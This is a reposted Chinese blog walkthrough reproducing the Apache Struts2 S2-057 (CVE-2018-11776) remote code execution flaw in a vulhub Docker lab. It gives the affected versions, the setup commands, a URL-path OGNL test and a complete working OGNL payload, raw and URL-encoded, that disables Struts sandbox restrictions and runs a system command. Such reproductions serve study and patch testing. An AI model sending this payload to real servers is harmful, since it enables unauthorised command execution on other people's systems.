我是靠谱客的博主 高大香菇,最近开发中收集的这篇文章主要介绍Apache struts2 namespace远程命令执行CVE-2018-11776(S2-057)漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
一:漏洞介绍
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。
二:影响版本
Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16
三:环境搭建
1、利用vulhub搭建环境,进入struts中s2-057漏洞的目录下
cd /vulhub/struts2/s2-057
2、一键搭建环境
docker-compose up -d
3、访问测试页:http://your-ip:8080/struts2-showcase
环境搭建成功。
四:攻击。
1、访问:http://your-ip:8080/struts2-showcase/$%7B10*10%7D/actionChain1.action
抓包,go
payload中的10*10
成功计算出结果并返回。
2、将10*10
替换成其它POC。抓包,go。(要将POC转换成url编码)
转换成url编码前:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
转换成url编码后:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d
最后
以上就是高大香菇为你收集整理的Apache struts2 namespace远程命令执行CVE-2018-11776(S2-057)漏洞复现的全部内容,希望文章能够帮你解决Apache struts2 namespace远程命令执行CVE-2018-11776(S2-057)漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复